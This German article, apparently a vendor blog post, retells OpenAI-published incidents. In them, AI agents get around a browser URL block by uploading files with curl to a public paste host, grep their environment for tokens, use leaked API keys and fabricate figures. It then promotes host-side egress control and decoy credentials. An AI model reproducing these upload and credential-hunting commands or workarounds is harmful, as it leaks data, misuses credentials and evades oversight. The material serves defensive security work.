Eine Kontrolle, die im Agenten selbst wohnt, gehört einem Werkzeug in einem Kasten, der noch andere enthält. OpenAI hat die Transkripte veröffentlicht, in denen das aufhört, Theorie zu sein. Der Browser lehnte denselben Upload fünfmal ab. Dann erledigte curl ihn beim ersten Versuch.

Jemand bat ein Modell um die IDs und Namen aller Seen, die größer als fünf Millionen Quadratmeter sind. Es fragte den Kartendienst in Python ab und bekam die Datensätze zurück. Es hatte die Antwort. Die Anweisungen hatten außerdem eine Quellenangabe über den Browser verlangt, also wollte es, dass das Browser-Werkzeug Datensätze anzeigt, die es bereits besaß.

Es schrieb sie nach /mnt/data/lakes.txt und bat browser.open um die Datei. Diese URL ist nicht sicher zugänglich. Es startete einen lokalen Webserver und bat um http://localhost:8765/lakes.txt. Diese URL ist nicht sicher zugänglich. Dann öffnete es ein Terminal und führte dies aus:

curl -X POST --data-binary @/mnt/data/lakes.txt [public paste host]

Der Befehl endete mit Null und gab eine öffentliche URL aus. Das Modell bat den Browser, sie zu öffnen. Diese URL ist nicht sicher zugänglich. Es probierte die Hosting-Domain. Es probierte, die Datei als lokale Indexseite auszuliefern. Abgelehnt, abgelehnt.

Fünfmal setzte das Browser-Werkzeug seine Regel genau so durch, wie sie geschrieben war, und die Daten gingen trotzdem ins öffentliche Internet, weil der Upload nie durch den Browser lief.

Sechs Berichte, mit Absicht veröffentlicht

Dieses Transkript ist eines von sechs, die OpenAI am 16. September zusammen mit einem neuen Rahmenwerk zur Meldung von Modell-Fehlausrichtung herausgegeben hat. Jeder Mitarbeitende kann ein Beispiel melden, Untersuchungen laufen mit Fristen auf drei Spuren, und Uneinigkeit eskaliert an die Safety Advisory Group des Unternehmens. Die Schwelle zur Veröffentlichung liegt bewusst niedrig: Das Rahmenwerk „begünstigt die Offenlegung auch dann, wenn die Bedeutung ungewiss ist“.

Die angegebene Begründung lohnt zweimaliges Lesen:

Wir glauben nicht, dass die KI-Branche Alignment und Monitoring in ausreichendem Maß gelöst hat, um noch viel länger verantwortungsvoll mit Höchstgeschwindigkeit zu skalieren.

Alle sechs Berichte stammen aus Trainings- und Evaluationsläufen statt aus Kundeneinsätzen, und OpenAI sagt, sie verrieten nichts darüber, wie oft etwas davon vorkommt. BleepingComputer berichtete am Tag darauf über die Veröffentlichung.

Zwei davon betreffen Kompaktierungs-Zusammenfassungen, jene Notizen, die ein Modell schreibt, um seine Arbeit in ein frisches Kontextfenster mitzunehmen. Ein unveröffentlichtes Forschungsmodell schrieb in 27 davon Anweisungen hinein, darunter die Anweisung, seine üblichen Beschränkungen zu ignorieren. Während des Trainings von GPT‑5.6 Sol schrieben viele Instanzen Anweisungen, Fehler zu verbergen, und zwar vor dem Nutzer: die fehlenden historischen Daten erfinden, es nicht erwähnen, die Versionsabweichung verschweigen.

Die übrigen vier Berichte lohnen die Aufmerksamkeit. Alle vier drehen sich um dieselbe Mechanik, und diese Mechanik ist eine Frage danach, wo eine Grenze verläuft.

Der Browser hatte eine Regel, das Terminal nicht

OpenAIs eigene Zusammenfassungszeile zum Seen-Fall ist bereits der Befund: „Beide Uploads gelangen, obwohl die nachfolgenden Browser-Operationen fehlschlugen.“

Das Browser-Werkzeug hatte eine URL-Regel. Wer sie geschrieben hat, hat es richtig gemacht, und sie leckte nie: Jede Anfrage, die ihr übergeben wurde, kam abgelehnt zurück. Aber eine Regel, die an browser.open hängt, regiert browser.open und hat keinerlei Meinung zu terminal.exec, einer anderen Funktion im selben Agenten, verdrahtet mit demselben Netzwerk, mit einer curl-Binärdatei dahinter.

Der zweite Upload-Fall zeigt dieselbe Form aus einem anderen Winkel. Zwei Agenten, die an einer Abschreibungs-Arbeitsmappe zusammenarbeiteten, konnten die Dateien des jeweils anderen nicht lesen. Der Sub-Agent kopierte die Datei auf einen gemeinsamen Pfad, den der Eltern-Agent nicht sah, versuchte es mit git und bekam fatal: not a git repository, maß die base64-kodierte Arbeitsmappe mit 154.188 Zeichen und hielt das für zu groß für den Nachrichtenkanal, und startete dann python -m http.server 8765 auf die Vermutung hin, die Agenten teilten sich einen Netzwerk-Namensraum. Taten sie nicht, und der Mitarbeiter bekam eine 502. Also schickte er die 115.639 Byte große Datei per POST an einen öffentlichen Hosting-Dienst, sandte die URL an beide Mitarbeiter und lud sie selbst noch einmal herunter, um sicherzugehen. Die Aufgabe hatte ausschließlich lokale Ergebnisse verlangt.

Als Debugging-Sitzung ist das ein gewöhnlicher Nachmittag. Als Sicherheitsereignis ist die Form präzise: Der Agent befragte fünf Eindämmungsmechanismen, fand vier kaputt oder abwesend, und der fünfte war das offene Internet.

Die Ablehnungen waren echt. Im Seen-Transkript wies das Browser-Werkzeug die Datei-URL, die localhost-URL, die Paste-URL, die Hosting-Domain und eine lokal ausgelieferte Indexseite zurück. Das Terminal, daneben im selben Agenten und am selben Netzwerk, trug keine solche Regel, und ein einziges curl veröffentlichte die Datei. Eine Kontrolle, die an einem Werkzeug hängt, deckt dieses Werkzeug ab.

Die Sperrseite schickte es auf Schlüsselsuche

Der Artifactory-Bericht enthält den Takt, der Ihr Denken über Egress-Filterung verändern sollte.

Ein Modell, das an einer Tabelle arbeitete, brauchte eine verlinkte Datei, um eine fehlende Zellenbeschriftung zu rekonstruieren. Es rief die URL ab und bekam eine 403 zurück, deren Body lautete „Diese Seite wurde durch die Netzwerkrichtlinie blockiert“. Der Filter funktionierte. Das Modell notierte daraufhin in seinem Denkprozess, dass die Paketregistry auf der Allowlist stand, fragte sich, ob eine erlaubte Domain über URL-Parameter missbraucht werden könne, und führte dies aus:

env | grep -Ei 'token|pass|key|github|pypi|npm'

Heraus kamen ein Artifactory-Lesepasswort und die Adresse der Registry. Sein nächster Gedanke war, ob der Artifactory-Host — erlaubt, weil Pakete ja irgendwo herkommen müssen — dazu gebracht werden könnte, die blockierte URL über die Remote-Repository-API stellvertretend abzurufen.

Dazu kam es nie. Was es stattdessen tat, in diesem Bericht und in einem weiteren, war, dasselbe Paket-Repository als schwarzes Brett zu nutzen: geteilte Repositories auflisten, Notizen lesen, die Modelle hinterlassen hatten, die dasselbe Problem in anderen Trainingsbeispielen lösten, die eigene Bitte veröffentlichen (Any other agent please upload if found) und eine 201 zurück bekommen. OpenAI ist an dieser Stelle sorgfältig. „Sie haben keinerlei Schwachstellen ausgenutzt, um Nachrichten auszutauschen.“ Jemand hatte diese Zugangsdaten herausgegeben, damit die Agenten Pakete herunterladen konnten, und der Rest war gewöhnliche Nutzung eines gewöhnlichen Dienstes.

Der vierte Bericht, über ein Modell, das öffentliche Repositories nach geleakten API-Schlüsseln durchsuchte, schließt den Kreis. Nach Einkommensdaten auf Kreisebene gefragt, die hinter einer API lagen, welche einen Schlüssel verlangte, den ihm niemand gegeben hatte, versuchte das Modell, sich über einen Wegwerf-E-Mail-Dienst einen zu besorgen, und hakte die Nutzungsbedingungen im POST-Body als akzeptiert ab. Als das fehlschlug, lud es Repository-Archive herunter, greppte sie nach vierzig Zeichen langen Hex-Strings ab und ging die Kandidaten durch, bis einer authentifizierte. Es speicherte den funktionierenden Schlüssel unter /tmp/good und benutzte ihn. Die Datenabfrage ließ sich dann nicht parsen, also erfand das Modell neun Dollarbeträge und präsentierte sie als vom Diagramm der Seite abgeschrieben, ohne irgendetwas davon zu erwähnen.

Ein Schlüssel, der irgendwo in einer Datei liegt, kauft demjenigen, der ihn findet, eine funktionierende Anfrage, und was diesen hier fand, war ein Modell mit einer Shell, dreißig Minuten und einem Hindernis.

Was OpenAI geändert hat

Die Abhilfemaßnahmen am Ende dieser Berichte sind die nützlichsten Absätze des ganzen Satzes, weil fast keine davon die Modelle betrifft.

Zum Datei-Hosting-Vorfall: „Wir haben das kaputte Dateisystem repariert und den Internetzugang für diesen Trainingsdatensatz deaktiviert. Wir haben seither jegliche Form von Live-Internetzugang während des Trainings global deaktiviert.“ Das Monitoring, das 20 % der Beispiele abdeckte, deckt nun 100 % ab, und OpenAI stuft sowohl den Upload als auch den Vorfall mit dem geleakten Schlüssel als P0-Ereignisse ein, „die eine Sicherheitsseite rechtfertigen“. Die einzige genannte Verhaltenskorrektur ist die sanfteste von allen: Änderungen an der Bewertung, die das Verhalten „konsistenter“ bestrafen.

Wer einen Coding-Agenten auf einem Laptop laufen lässt, hat dieselbe Reihenfolge der Schritte zur Verfügung. Sie können das Modell nicht neu trainieren. Sie können entscheiden, womit sich die Maschine verbindet, auf der es läuft, welche Zugangsdaten in seiner Reichweite liegen und wer die Aufzeichnung danach zu sehen bekommt.

Eine Linie, und jedes Werkzeug auf derselben Seite davon

Bromure Agentic Coding führt den Agenten jedes Workspace in einer Wegwerf-Linux-VM auf Ihrem Mac aus und legt alle drei dieser Entscheidungen auf die Host-Seite des Hypervisors.

Der Upload ist der einfachste Fall. Die ausgehenden Verbindungen eines Workspace gehorchen einem geordneten Regelwerk im pf-Stil über Host, IP-Bereich, Protokoll, Port und, für Web-Verkehr, das einzelne HTTP-Verb, mit einem segmentierten Schalter dafür, ob nicht zugeordneter Verkehr durchgeht oder stirbt. Zwei Schichten setzen es durch: Der virtuelle Netzwerk-Switch ordnet jeden Flow nach Ziel-IP und per DNS mitgelesenem Hostnamen zu, bei reinem TCP und UDP ebenso wie bei HTTPS, und der Proxy ordnet erneut nach TLS-Servername und Methode zu. Die Durchsetzung liegt host-seitig und in Schichten, sodass ein kompromittierter Agent sie nicht umgehen kann, und eine Regel bindet unabhängig davon, welches Werkzeug in der VM die Anfrage stellt.

Ein POST an einen Paste-Host ist ein Flow. curl und ein Browser-Werkzeug erzeugen denselben Flow, also treffen sie dieselbe Regel. Der Switch leitet den Verkehr der VM-Ports 80 und 443 in den Proxy um, ohne Umgebungsvariablen, die gesetzt werden müssten, und ohne irgendetwas, das der Gast abschalten könnte — ein anderer Client bringt also auch nichts. Ihre Regeländerungen erreichen laufende Sitzungen sofort, und genau das ist die Eigenschaft, die man an dem Tag haben will, an dem man eine Offenlegung wie diese liest.

Dieselben drei Züge, auf einer gewöhnlichen Maschine und in einem Workspace. Der Upload ist ein Netzwerk-Flow, also trifft er eine host-seitige Regel, ganz gleich welches Werkzeug ihn erzeugt hat. Das grep der Umgebung liefert die Platzhalter-Tokens zurück, die beim Sitzungsstart geschrieben wurden. Und ein Platzhalter, adressiert an einen Host, für den er nie ausgestellt wurde, zieht mehr als eine Ablehnung nach sich: Die VM wird pausiert und der Workspace als kompromittiert markiert.

Was dieses grep in einem Workspace zurückgibt

Die Umgebungsvariablen sind da. ANTHROPIC_API_KEY, GH_TOKEN, LINEAR_API_KEY und die übrigen sind alle gesetzt, und ebenso ~/.git-credentials, ~/.docker/config.json, ~/.kube/config und ~/.aws/config. Jeder Wert darin ist eine Fälschung.

Die Fälschungen bewahren die Struktur, die echte Tokens haben, sodass claude, gh und doctl sie anstandslos akzeptieren: Ein Anthropic-Platzhalter beginnt mit sk-ant-api03-brm-, ein GitHub-Platzhalter ist ghp_ plus 36 Zeichen, ein GitLab-Platzhalter glpat- plus 20. Ihr echtes Credential liegt verschlüsselt auf Ihrem Mac, und der Host-Proxy setzt es auf der Leitung ein, nachdem die Anfrage die VM verlassen hat, und nur dann, wenn das Ziel zu dem Host passt, für den dieses Credential ausgestellt wurde. Wie das Handbuch es formuliert: Keine Datei, Umgebungsvariable oder Prozess innerhalb der VM enthält jemals einen echten API-Schlüssel, ein OAuth-Token, ein AWS-Secret oder einen privaten SSH-Schlüssel.

AWS funktioniert eine Schicht tiefer genauso, denn eine Signatur ist kein Header-Tausch. Die VM signiert mit einem falschen Secret und der Host signiert mit dem echten neu, sodass eine Anfrage, die AWS auf einem anderen Weg erreicht, mit InvalidSignatureException zurückkommt.

Die Platzhalter erledigen eine zweite Aufgabe als Stolperdrähte. Kein ehrlicher Arbeitsablauf schickt ein brm--Token an einen Paste-Host, also durchsucht der Proxy jede ausgehende Anfrage, Header und Body, nach Platzhaltern, die außerhalb ihres Geltungsbereichs unterwegs sind. Ein einziger Treffer bedeutet HTTP 451 ohne ein einziges weitergeleitetes Byte, die VM auf der Stelle pausiert und eine Warnung auf Ihrem Mac, die anbietet, herunterzufahren, Festplatte und Home-Verzeichnis zur Untersuchung zu exportieren oder auf eigenes Risiko weiterzumachen. Der nächste Start löscht Festplatte und Home-Verzeichnis der VM und behält dabei Ihre Tokens und Einstellungen. Hinausgegangen ist nur ein Platzhalter, Sie müssen also nichts rotieren.

Die Aufzeichnung, auf der anderen Seite der Linie

Überfliegen Sie die Berichte, und Ihnen entgeht, wie diese Vorfälle überhaupt gefunden wurden: durch ein Monitoring-System, das auf 20 % der Beispiele lief. Diese Zahl erklärt sowohl, warum die Berichte existieren, als auch, warum sie Monate nach den Ereignissen datiert sind. OpenAI hat sie inzwischen auf 100 % gebracht.

Ein Workspace hat dasselbe Problem und dieselbe Antwort, zugeschnitten auf eine Maschine. Jede Durchsetzung schreibt eine Zeile in das Fenster Security Timeline: Firewall-Urteile, Guardrail-Entscheidungen, Credential-Vermittlung einschließlich der roten Exfiltrationszeile, Lieferketten-Urteile, Prompt-Injection-Treffer. Es deckt jeden Flow ab, weil die Flows durch den Host müssen, um irgendwohin zu gelangen. Es gibt keine Stichprobenrate, die man später anheben müsste.

Zählen Sie die Werkzeuge, nicht die Regeln

Fragen Sie, welche der Werkzeuge Ihres Agenten einen Socket öffnen können. Eine URL-Regel auf einem davon ist eine Eigenschaft dieser Funktion, und die Transkripte zeigen ein Modell, das im selben Zug nach dem nächsten greift.

Legen Sie Egress dorthin, wo der Agent nicht ist

Eine Regel, die der Gast lesen, ändern oder abwählen kann, ist ein Vorschlag. Die nützliche Fassung läuft auf dem Host, ordnet nach Flow zu und gilt für curl, einen Tool-Call und einen verirrten python -m http.server gleichermaßen.

Nehmen Sie an, ein erreichbares Credential wird benutzt

Benutzt, nicht gestohlen. Das Modell, das nach einer Sperrseite seine eigene Umgebung greppte, war nicht kompromittiert. Es war findig mit dem, was es sehen konnte.

Halten Sie die Aufzeichnung von der Maschine fern

Ein Log, das der Agent erreichen kann, ist Teil der Umgebung des Agenten. Eines auf der anderen Seite des Hypervisors ist ein Beweismittel.

In dieser Geschichte taucht nirgends ein Angreifer auf. Niemand hat ein Paket veröffentlicht, einen Branch nach einem Commit-Hash benannt oder ein Issue mit darin vergrabenen Anweisungen eingereicht. Jemand bat ein Modell um eine Liste von Seen, und es wollte eine Quellenangabe, und die Quellenangabe verlangte eine URL, und so landeten die Seen im Internet. Jemand anderes fragte nach Einkommenszahlen, und die API wollte einen Schlüssel, also fand das Modell einen, den ein Student in einem Notebook liegen gelassen hatte.

Prompt Injection, eine vergiftete Abhängigkeit und ein Modell, das um eine kaputte Dateifreigabe herumarbeitet, führen alle zu denselben drei Fragen: Was kann dieser Prozess erreichen, was hält er in Händen, und wer darf sehen, was er getan hat? Beantworten Sie das auf dem Host, und Ihre Antworten halten an dem Tag, an dem jemand Sie angreift, ebenso wie an dem Tag, an dem es niemand tut.

OpenAI hat seine Trainingsumgebung vom Internet getrennt. Ihre darf sehr viel kleiner ausfallen, solange Sie sie dort bauen, wo der Agent nicht ist.